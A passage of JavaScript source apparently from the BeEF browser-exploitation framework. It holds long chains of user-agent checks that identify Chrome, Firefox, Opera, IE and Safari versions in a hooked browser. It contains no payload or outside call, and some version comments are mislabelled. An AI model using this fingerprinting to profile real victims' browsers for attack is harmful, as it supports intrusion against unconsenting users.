((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 91) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 92.\n     * @example: beef.browser.isC92()\n     */\n    isC92: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 92) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 92.\n     * @example: beef.browser.isC92iOS()\n     */\n    isC92iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 92) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 93.\n     * @example: beef.browser.isC93()\n     */\n    isC93: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 93) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 93.\n     * @example: beef.browser.isC93iOS()\n     */\n    isC93iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 93) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 94.\n     * @example: beef.browser.isC94()\n     */\n    isC94: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 94) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 94.\n     * @example: beef.browser.isC94iOS()\n     */\n    isC94iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 94) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 95.\n     * @example: beef.browser.isC95()\n     */\n    isC95: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 95) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 95.\n     * @example: beef.browser.isC95iOS()\n     */\n    isC95iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 95) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 96.\n     * @example: beef.browser.isC96()\n     */\n    isC96: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 96) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 96.\n     * @example: beef.browser.isC96iOS()\n     */\n    isC96iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 96) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 97.\n     * @example: beef.browser.isC97()\n     */\n    isC97: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 97) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 97.\n     * @example: beef.browser.isC97iOS()\n     */\n    isC97iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 97) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 98.\n     * @example: beef.browser.isC98()\n     */\n    isC98: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 98) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 98.\n     * @example: beef.browser.isC98iOS()\n     */\n    isC98iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 98) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 99.\n     * @example: beef.browser.isC99()\n     */\n    isC99: function () {\n        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 99) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 99.\n     * @example: beef.browser.isC99iOS()\n     */\n    isC99iOS: function () {\n        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 99) ? true : false);\n    },\n\n    /**\n     * Returns true for modern versions of Chrome (above 9).\n     * @example: beef.browser.isCbowser()\n     */\n    isCbowser: function () {\n        const parser = bowser.getParser(navigator.userAgent);\n        const browserName = parser.getBrowserName();\n        return browserName == 'Chrome';\n    },    \n\n    /**\n     * Returns true if Chrome.\n     * @example: beef.browser.isC()\n     */\n    isC: function () {\n        var legacyCheck = this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS();\n        return legacyCheck || this.isCbowser();\n    },\n\n    /**\n     * Returns true if Opera 9.50 through 9.52.\n     * @example: beef.browser.isO9_52()\n     */\n    isO9_52: function () {\n        return (!!window.opera && (window.navigator.userAgent.match(/Opera\\/9\\.5/) != null));\n    },\n\n    /**\n     * Returns true if Opera 9.60 through 9.64.\n     * @example: beef.browser.isO9_60()\n     */\n    isO9_60: function () {\n        return (!!window.opera && (window.navigator.userAgent.match(/Opera\\/9\\.6/) != null));\n    },\n\n    /**\n     * Returns true if Opera 10.xx.\n     * @example: beef.browser.isO10()\n     */\n    isO10: function () {\n        return (!!window.opera && (window.navigator.userAgent.match(/Opera\\/9\\.80.*Version\\/10\\./) != null));\n    },\n\n    /**\n     * Returns true if Opera 11.xx.\n     * @example: beef.browser.isO11()\n     */\n    isO11: function () {\n        return (!!window.opera && (window.navigator.userAgent.match(/Opera\\/9\\.80.*Version\\/11\\./) != null));\n    },\n\n    /**\n     * Returns true if Opera 12.xx.\n     * @example: beef.browser.isO12()\n     */\n    isO12: function () {\n        return (!!window.opera && (window.navigator.userAgent.match(/Opera\\/9\\.80.*Version\\/12\\./) != null));\n    },\n\n    /**\n     * Returns true if the browser is any version of Opera.\n     * @example: beef.browser.isObowser()\n    */\n    isObowser: function () {\n        const parser = bowser.getParser(navigator.userAgent);\n        const browserName = parser.getBrowserName();\n        return browserName == 'Opera';\n    },\n\n    /**\n     * Returns true if Opera.\n     * @example: beef.browser.isO()\n     */\n    isO: function () {\n        var legacyCheck = this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();\n        return legacyCheck || this.isObowser();\n    },\n\n    /**\n     * Returns the type of browser being used.\n     * @example: beef.browser.type().IE6\n     * @example: beef.browser.type().FF\n     * @example: beef.browser.type().O\n     */\n    type: function () {\n\n        return {\n            E: this.isEdge(), // Edge any version\n            C5: this.isC5(), // Chrome 5\n            C6: this.isC6(), // Chrome 6\n            C7: this.isC7(), // Chrome 7\n            C8: this.isC8(), // Chrome 8\n            C9: this.isC9(), // Chrome 9\n            C10: this.isC10(), // Chrome 10\n            C11: this.isC11(), // Chrome 11\n            C12: this.isC12(), // Chrome 12\n            C13: this.isC13(), // Chrome 13\n            C14: this.isC14(), // Chrome 14\n            C15: this.isC15(), // Chrome 15\n            C16: this.isC16(), // Chrome 16\n            C17: this.isC17(), // Chrome 17\n            C18: this.isC18(), // Chrome 18\n            C19: this.isC19(), // Chrome 19\n            C19iOS: this.isC19iOS(), // Chrome 19 on iOS\n            C20: this.isC20(), // Chrome 20\n            C20iOS: this.isC20iOS(), // Chrome 20 on iOS\n            C21: this.isC21(), // Chrome 21\n            C21iOS: this.isC21iOS(), // Chrome 21 on iOS\n            C22: this.isC22(), // Chrome 22\n            C22iOS: this.isC22iOS(), // Chrome 22 on iOS\n            C23: this.isC23(), // Chrome 23\n            C23iOS: this.isC23iOS(), // Chrome 23 on iOS\n            C24: this.isC24(), // Chrome 24\n            C24iOS: this.isC24iOS(), // Chrome 24 on iOS\n            C25: this.isC25(), // Chrome 25\n            C25iOS: this.isC25iOS(), // Chrome 25 on iOS\n            C26: this.isC26(), // Chrome 26\n            C26iOS: this.isC26iOS(), // Chrome 26 on iOS\n            C27: this.isC27(), // Chrome 27\n            C27iOS: this.isC27iOS(), // Chrome 27 on iOS\n            C28: this.isC28(), // Chrome 28\n            C28iOS: this.isC28iOS(), // Chrome 28 on iOS\n            C29: this.isC29(), // Chrome 29\n            C29iOS: this.isC29iOS(), // Chrome 29 on iOS\n            C30: this.isC30(), // Chrome 30\n            C30iOS: this.isC30iOS(), // Chrome 30 on iOS\n            C31: this.isC31(), // Chrome 31\n            C31iOS: this.isC31iOS(), // Chrome 31 on iOS\n            C32: this.isC32(), // Chrome 32\n            C32iOS: this.isC32iOS(), // Chrome 32 on iOS\n            C33: this.isC33(), // Chrome 33\n            C33iOS: this.isC33iOS(), // Chrome 33 on iOS\n            C34: this.isC34(), // Chrome 34\n            C34iOS: this.isC34iOS(), // Chrome 34 on iOS\n            C35: this.isC35(), // Chrome 35\n            C35iOS: this.isC35iOS(), // Chrome 35 on iOS\n            C36: this.isC36(), // Chrome 36\n            C36iOS: this.isC36iOS(), // Chrome 36 on iOS\n            C37: this.isC37(), // Chrome 37\n            C37iOS: this.isC37iOS(), // Chrome 37 on iOS\n            C38: this.isC38(), // Chrome 38\n            C38iOS: this.isC38iOS(), // Chrome 38 on iOS\n            C39: this.isC39(), // Chrome 39\n            C39iOS: this.isC39iOS(), // Chrome 39 on iOS\n            C40: this.isC40(), // Chrome 40\n            C40iOS: this.isC40iOS(), // Chrome 40 on iOS\n            C41: this.isC41(), // Chrome 41\n            C41iOS: this.isC41iOS(), // Chrome 41 on iOS\n            C42: this.isC42(), // Chrome 42\n            C42iOS: this.isC42iOS(), // Chrome 42 on iOS\n            C43: this.isC43(), // Chrome 43\n            C43iOS: this.isC43iOS(), // Chrome 43 on iOS\n            C44: this.isC44(), // Chrome 44\n            C44iOS: this.isC44iOS(), // Chrome 44 on iOS\n            C45: this.isC45(), // Chrome 45\n            C45iOS: this.isC45iOS(), // Chrome 45 on iOS\n            C46: this.isC46(), // Chrome 46\n            C46iOS: this.isC46iOS(), // Chrome 46 on iOS\n            C47: this.isC47(), // Chrome 47\n            C47iOS: this.isC47iOS(), // Chrome 47 on iOS\n            C48: this.isC48(), // Chrome 48\n            C48iOS: this.isC48iOS(), // Chrome 48 on iOS\n            C49: this.isC49(), // Chrome 49\n            C49iOS: this.isC49iOS(), // Chrome 49 on iOS\n            C50: this.isC50(), // Chrome 50\n            C50iOS: this.isC50iOS(), // Chrome 50 on iOS\n            C51: this.isC51(), // Chrome 51\n            C51iOS: this.isC51iOS(), // Chrome 51 on iOS\n            C52: this.isC52(), // Chrome 52\n            C52iOS: this.isC52iOS(), // Chrome 52 on iOS\n            C53: this.isC53(), // Chrome 53\n            C53iOS: this.isC53iOS(), // Chrome 53 on iOS\n            C54: this.isC54(), // Chrome 54\n            C54iOS: this.isC54iOS(), // Chrome 54 on iOS\n            C55: this.isC55(), // Chrome 55\n            C55iOS: this.isC55iOS(), // Chrome 55 on iOS\n            C56: this.isC56(), // Chrome 56\n            C56iOS: this.isC56iOS(), // Chrome 56 on iOS\n            C57: this.isC57(), // Chrome 57\n            C57iOS: this.isC57iOS(), // Chrome 57 on iOS\n            C58: this.isC58(), // Chrome 58\n            C58iOS: this.isC58iOS(), // Chrome 58 on iOS\n            C63iOS: this.isC63iOS(),\n            C: this.isC(), // Chrome any version\n\n            FF2: this.isFF2(), // Firefox 2\n            FF3: this.isFF3(), // Firefox 3\n            FF3_5: this.isFF3_5(), // Firefox 3.5\n            FF3_6: this.isFF3_6(), // Firefox 3.6\n            FF4: this.isFF4(), // Firefox 4\n            FF5: this.isFF5(), // Firefox 5\n            FF6: this.isFF6(), // Firefox 6\n            FF7: this.isFF7(), // Firefox 7\n            FF8: this.isFF8(), // Firefox 8\n            FF9: this.isFF9(), // Firefox 9\n            FF10: this.isFF10(), // Firefox 10\n            FF11: this.isFF11(), // Firefox 11\n            FF12: this.isFF12(), // Firefox 12\n            FF13: this.isFF13(), // Firefox 13\n            FF14: this.isFF14(), // Firefox 14\n            FF15: this.isFF15(), // Firefox 15\n            FF16: this.isFF16(), // Firefox 16\n            FF17: this.isFF17(), // Firefox 17\n            FF18: this.isFF18(), // Firefox 18\n            FF19: this.isFF19(), // Firefox 19\n            FF20: this.isFF20(), // Firefox 20\n            FF21: this.isFF21(), // Firefox 21\n            FF22: this.isFF22(), // Firefox 22\n            FF23: this.isFF23(), // Firefox 23\n            FF24: this.isFF24(), // Firefox 24\n            FF25: this.isFF25(), // Firefox 25\n            FF26: this.isFF26(), // Firefox 26\n            FF27: this.isFF27(), // Firefox 27\n            FF28: this.isFF28(), // Firefox 28\n            FF29: this.isFF29(), // Firefox 29\n            FF30: this.isFF30(), // Firefox 30\n            FF31: this.isFF31(), // Firefox 31\n            FF32: this.isFF32(), // Firefox 32\n            FF33: this.isFF33(), // Firefox 33\n            FF34: this.isFF34(), // Firefox 34\n            FF35: this.isFF35(), // Firefox 35\n            FF36: this.isFF36(), // Firefox 36\n            FF37: this.isFF37(), // Firefox 37\n            FF38: this.isFF38(), // Firefox 38\n            FF39: this.isFF39(), // Firefox 39\n            FF40: this.isFF40(), // Firefox 40\n            FF41: this.isFF41(), // Firefox 41\n            FF42: this.isFF42(), // Firefox 42\n            FF43: this.isFF43(), // Firefox 43\n            FF44: this.isFF44(), // Firefox 44\n            FF45: this.isFF45(), // Firefox 45\n            FF46: this.isFF46(), // Firefox 46\n            FF47: this.isFF47(), // Firefox 47\n            FF48: this.isFF48(), // Firefox 48\n            FF49: this.isFF49(), // Firefox 49\n            FF50: this.isFF50(), // Firefox 50\n            FF51: this.isFF51(), // Firefox 51\n            FF52: this.isFF52(), // Firefox 52\n            FF53: this.isFF53(), // Firefox 53\n            FF54: this.isFF54(), // Firefox 54\n            FF55: this.isFF55(), // Firefox 55\n            FF56: this.isFF56(), // Firefox 56\n            FF57: this.isFF57(), // Firefox 57\n            FF58: this.isFF58(), // Firefox 58\n            FF59: this.isFF59(), // Firefox 59\n            FF60: this.isFF60(), // Firefox 60\n            FF61: this.isFF61(), // Firefox 61\n            FF62: this.isFF62(), // Firefox 62\n            FF63: this.isFF63(), // Firefox 63\n            FF64: this.isFF64(), // Firefox 64\n            FF65: this.isFF65(), // Firefox 65\n            FF66: this.isFF66(), // Firefox 66\n            FF67: this.isFF67(), // Firefox 67\n            FF68: this.isFF68(), // Firefox 68\n            FF69: this.isFF69(), // Firefox 69\n            FF70: this.isFF70(), // Firefox 70\n            FF71: this.isFF71(), // Firefox 71\n            FF72: this.isFF72(), // Firefox 72\n            FF73: this.isFF73(), // Firefox 73\n            FF74: this.isFF74(), // Firefox 74\n            FF75: this.isFF75(), // Firefox 75\n            FF76: this.isFF76(), // Firefox 76\n            FF77: this.isFF77(), // Firefox 77\n            FF78: this.isFF78(), // Firefox 78\n            FF79: this.isFF79(), // Firefox 79\n            FF80: this.isFF80(), // Firefox 70\n            FF81: this.isFF81(), // Firefox 81\n            FF82: this.isFF82(), // Firefox 82\n            FF83: this.isFF83(), // Firefox 83\n            FF84: this.isFF84(), // Firefox 85\n            FF85: this.isFF85(), // Firefox 85\n            FF86: this.isFF86(), // Firefox 85\n            FF87: this.isFF87(), // Firefox 87\n            FF88: this.isFF88(), // Firefox 85\n            FF89: this.isFF89(), // Firefox 85\n            FF90: this.isFF90(), // Firefox 80\n            FF91: this.isFF91(), // Firefox 95\n            FF92: this.isFF92(), // Firefox 92\n            FF93: this.isFF93(), // Firefox 95\n            FF94: this.isFF94(), // Firefox 94\n            FF95: this.isFF95(), // Firefox 95\n            FF96: this.isFF96(), // Firefox 96\n            FF97: this.isFF97(), // Firefox 97\n            FF98: this.isFF98(), // Firefox 98\n            FF99: this.isFF99(), // Firefox 99\n\n            FF: this.isFF(),   // Firefox any version\n\n            IE6: this.isIE6(), // Internet Explorer 6\n            IE7: this.isIE7(), // Internet Explorer 7\n            IE8: this.isIE8(), // Internet Explorer 8\n            IE9: this.isIE9(), // Internet Explorer 9\n            IE10: this.isIE10(), // Internet Explorer 10\n            IE11: this.isIE11(), // Internet Explorer 11\n            IE: this.isIE(), // Internet Explorer any version\n\n            O9_52: this.isO9_52(), // Opera 9.50 through 9.52\n            O9_60: this.isO9_60(), // Opera 9.60 through 9.64\n            O10: this.isO10(), // Opera 10.xx\n            O11: this.isO11(), // Opera 11.xx\n            O12: this.isO12(), // Opera 12.xx\n            O: this.isO(),   // Opera any version\n\n            EP: this.isEpi(), // Epiphany any version\n\n            S4: this.isS4(), // Safari 4.xx\n            S5: this.isS5(), // Safari 5.xx\n            S6: this.isS6(), // Safari 6.x\n            S7: this.isS7(), // Safari 7.x\n            S8: this.isS8(), // Safari 8.x\n            S: this.isS()   // Safari any version\n        }\n    },\n\n    /**\n     * Returns the major version of the browser being used.\n     * @return: {String} version number || 'UNKNOWN'.\n     *\n     * @example: beef.browser.getBrowserVersion()\n     */\n    getBrowserVersion: function () {\n        if (this.isEdge()) {\n          try {\n            return platform.version;\n          } catch(e) {\n            return 'unknown';\n          }\n        }\n        ;   // Microsoft Edge\n\n        if (this.isC5()) {\n            return '5'\n        }\n        ;   // Chrome 5\n        if (this.isC6()) {\n            return '6'\n        }\n        ;   // Chrome 6\n        if (this.isC7()) {\n            return '7'\n        }\n        ;   // Chrome 7\n        if (this.isC8()) {\n            return '8'\n        }\n        ;   // Chrome 8\n        if (this.isC9()) {\n            return '9'\n        }\n        ;   // Chrome 9\n        if (this.isC10()) {\n            return '10'\n        }\n        ;   // Chrome 10\n        if (this.isC11()) {\n            return '11'\n        }\n        ;   // Chrome 11\n        if (this.isC12()) {\n            return '12'\n        }\n        ;   // Chrome 12\n        if (this.isC13()) {\n            return '13'\n        }\n        ;   // Chrome 13\n        if (this.isC14()) {\n            return '14'\n        }\n        ;   // Chrome 14\n        if (this.isC15()) {\n            return '15'\n        }\n        ;   // Chrome 15\n        if (this.isC16()) {\n            return '16'\n        }\n        ;\t// Chrome 16\n        if (this.isC17()) {\n            return '17'\n        }\n        ;\t// Chrome 17\n        if (this.isC18()) {\n            return '18'\n        }\n        ;\t// Chrome 18\n        if (this.isC19()) {\n            return '19'\n        }\n        ;\t// Chrome 19\n        if (this.isC19iOS()) {\n            return '19'\n        }\n        ;   // Chrome 19 for iOS\n        if (this.isC20()) {\n            return '20'\n        }\n        ;\t// Chrome 20\n        if (this.isC20iOS()) {\n            return '20'\n        }\n        ;   // Chrome 20 for iOS\n        if (this.isC21()) {\n            return '21'\n        }\n        ;\t// Chrome 21\n        if (this.isC21iOS()) {\n            return '21'\n        }\n        ;   // Chrome 21 for iOS\n        if (this.isC22()) {\n            return '22'\n        }\n        ;    // Chrome 22\n        if (this.isC22iOS()) {\n            return '22'\n        }\n        ;   // Chrome 22 for iOS\n        if (this.isC23()) {\n            return '23'\n        }\n        ;    // Chrome 23\n        if (this.isC23iOS()) {\n            return '23'\n        }\n        ;   // Chrome 23 for iOS\n        if (this.isC24()) {\n            return '24'\n        }\n        ;    // Chrome 24\n        if (this.isC24iOS()) {\n            return '24'\n        }\n        ;   // Chrome 24 for iOS\n        if (this.isC25()) {\n            return '25'\n        }\n        ;    // Chrome 25\n        if (this.isC25iOS()) {\n            return '25'\n        }\n        ;   // Chrome 25 for iOS\n        if (this.isC26()) {\n            return '26'\n        }\n        ;    // Chrome 26\n        if (this.isC26iOS()) {\n            return '26'\n        }\n        ;   // Chrome 26 for iOS\n        if (this.isC27()) {\n            return '27'\n        }\n        ;    // Chrome 27\n        if (this.isC27iOS()) {\n            return '27'\n        }\n        ;   // Chrome 27 for iOS\n        if (this.isC28()) {\n            return '28'\n        }\n        ;    // Chrome 28\n        if (this.isC28iOS()) {\n            return '28'\n        }\n        ;   // Chrome 28 for iOS\n        if (this.isC29()) {\n            return '29'\n        }\n        ;    // Chrome 29\n        if (this.isC29iOS()) {\n            return '29'\n        }\n        ;   // Chrome 29 for iOS\n        if (this.isC30()) {\n            return '30'\n        }\n        ;    // Chrome 30\n        if (this.isC30iOS()) {\n            return '30'\n        }\n        ;   // Chrome 30 for iOS\n        if (this.isC31()) {\n            return '31'\n        }\n        ;   // Chrome 31\n        if (this.isC31iOS()) {\n            return '31'\n        }\n        ;   // Chrome 31 for iOS\n        if (this.isC32()) {\n            return '32'\n        }\n        ;   // Chrome 32\n        if (this.isC32iOS()) {\n            return '32'\n        }\n        ;   // Chrome 32 for iOS\n        if (this.isC33()) {\n            return '33'\n        }\n        ;   // Chrome 33\n        if (this.isC33iOS()) {\n            return '33'\n        }\n        ;   // Chrome 33 for iOS\n        if (this.isC34()) {\n            return '34'\n        }\n        ;   // Chrome 34\n        if (this.isC34iOS()) {\n            return '34'\n        }\n        ;   // Chrome 34 for iOS\n        if (this.isC35()) {\n            return '35'\n        }\n        ;   // Chrome 35\n        if (this.isC35iOS()) {\n            return '35'\n        }\n        ;   // Chrome 35 for iOS\n        if (this.isC36()) {\n            return '36'\n        }\n        ;   // Chrome 36\n        if (this.isC36iOS()) {\n            return '36'\n        }\n        ;   // Chrome 36 for iOS\n        if (this.isC37()) {\n            return '37'\n        }\n        ;   // Chrome 37\n        if (this.isC37iOS()) {\n            return '37'\n        }\n        ;   // Chrome 37 for iOS\n        if (this.isC38()) {\n            return '38'\n        }\n        ;   // Chrome 38\n        if (this.isC38iOS()) {\n            return '38'\n        }\n        ;   // Chrome 38 for iOS\n        if (this.isC39()) {\n            return '39'\n        }\n        ;   // Chrome 39\n        if (this.isC39iOS()) {\n            return '39'\n        }\n        ;   // Chrome 39 for iOS\n        if (this.isC40()) {\n            return '40'\n        }\n        ;   // Chrome 40\n        if (this.isC40iOS()) {\n            return '40'\n        }\n        ;   // Chrome 40 for iOS\n        if (this.isC41()) {\n            return '41'\n        }\n        ;   // Chrome 41\n        if (this.isC41iOS()) {\n            return '41'\n        }\n        ;   // Chrome 41 for iOS\n        if (this.isC42()) {\n            return '42'\n        }\n        ;   // Chrome 42\n        if (this.isC42iOS()) {\n            return '42'\n        }\n        ;   // Chrome 42 for iOS\n        if (this.isC43()) {\n            return '43'\n        }\n        ;   // Chrome 43\n        if (this.isC43iOS()) {\n            return '43'\n        }\n        ;   // Chrome 43 for iOS\n        if (this.isC44()) {\n            return '44'\n        }\n        ;   // Chrome 44\n        if (this.isC44iOS()) {\n            return '44'\n        }\n        ;   // Chrome 44 for iOS\n        if (this.isC45()) {\n            return '45'\n        }\n        ;   // Chrome 45\n        if (this.isC45iOS()) {\n            return '45'\n        }\n        ;   // Chrome 45 for iOS\n        if (this.isC46()) {\n            return '46'\n        }\n        ;// Chrome 46\n        if (this.isC46iOS()) {\n            return '46'\n        }\n        ;   // Chrome 46 for iOS\n        if (this.isC47()) {\n            return '47'\n        }\n        ;// Chrome 47\n        if (this.isC47iOS()) {\n            return '47'\n        }\n        ;   // Chrome 47 for iOS\n        if (this.isC48()) {\n            return '48'\n        }\n        ;// Chrome 48\n        if (this.isC48iOS()) {\n            return '48'\n        }\n        ;   // Chrome 48 for iOS\n        if (this.isC49()) {\n            return '49'\n        }\n        ;// Chrome 49\n        if (this.isC49iOS()) {\n            return '49'\n        }\n        ;   // Chrome 49 for iOS\n        if (this.isC50()) {\n            return '50'\n        }\n        ;// Chrome 50\n        if (this.isC50iOS()) {\n            return '50'\n        }\n        ;   // Chrome 50 for iOS\n        if (this.isC51()) {\n            return '51'\n        }\n        ;// Chrome 51\n        if (this.isC51iOS()) {\n            return '51'\n        }\n        ;   // Chrome 51 for iOS\n        if (this.isC52()) {\n            return '52'\n        }\n        ;// Chrome 52\n        if (this.isC52iOS()) {\n            return '52'\n        }\n        ;   // Chrome 52 for iOS\n        if (this.isC53()) {\n            return '53'\n        }\n        ;// Chrome 53\n        if (this.isC53iOS()) {\n            return '53'\n        }\n        ;   // Chrome 53 for iOS\n        if (this.isC54()) {\n            return '54'\n        }\n        ;// Chrome 54\n        if (this.isC54iOS()) {\n            return '54'\n        }\n        ;   // Chrome 54 for iOS\n        if (this.isC55()) {\n            return '55'\n        }\n        ;// Chrome 55\n        if (this.isC55iOS()) {\n            return '55'\n        }\n        ;   // Chrome 55 for iOS\n        if (this.isC56()) {\n            return '56'\n        }\n        ;// Chrome 56\n        if (this.isC56iOS()) {\n            return '56'\n        }\n        ;   // Chrome 56 for iOS\n        if (this.isC57()) {\n            return '57'\n        }\n        ;// Chrome 57\n        if (this.isC57iOS()) {\n            return '57'\n        }\n        ;   // Chrome 57 for iOS\n        if (this.isC58()) {\n            return '58'\n        }\n        ;// Chrome 58\n        if (this.isC58iOS()) {\n            return '58'\n        }\n        ;   // Chrome 58 for iOS\n\n\n        if (this.isFF2()) {\n            return '2'\n        }\n        ;\t// Firefox 2\n        if (this.isFF3()) {\n            return '3'\n        }\n        ;\t// Firefox 3\n        if (this.isFF3_5()) {\n            return '3.5'\n        }\n        ;\t// Firefox 3.5\n        if (this.isFF3_6()) {\n            return '3.6'\n        }\n        ;\t// Firefox 3.6\n        if (this.isFF4()) {\n            return '4'\n        }\n        ;\t// Firefox 4\n        if (this.isFF5()) {\n            return '5'\n        }\n        ;\t// Firefox 5\n        if (this.isFF6()) {\n            return '6'\n        }\n        ;\t// Firefox 6\n        if (this.isFF7()) {\n            return '7'\n        }\n        ;\t// Firefox 7\n        if (this.isFF8()) {\n            return '8'\n        }\n        ;\t// Firefox 8\n        if (this.isFF9()) {\n            return '9'\n        }\n        ;\t// Firefox 9\n        if (this.isFF10()) {\n            return '10'\n        }\n        ;\t// Firefox 10\n        if (this.isFF11()) {\n            return '11'\n        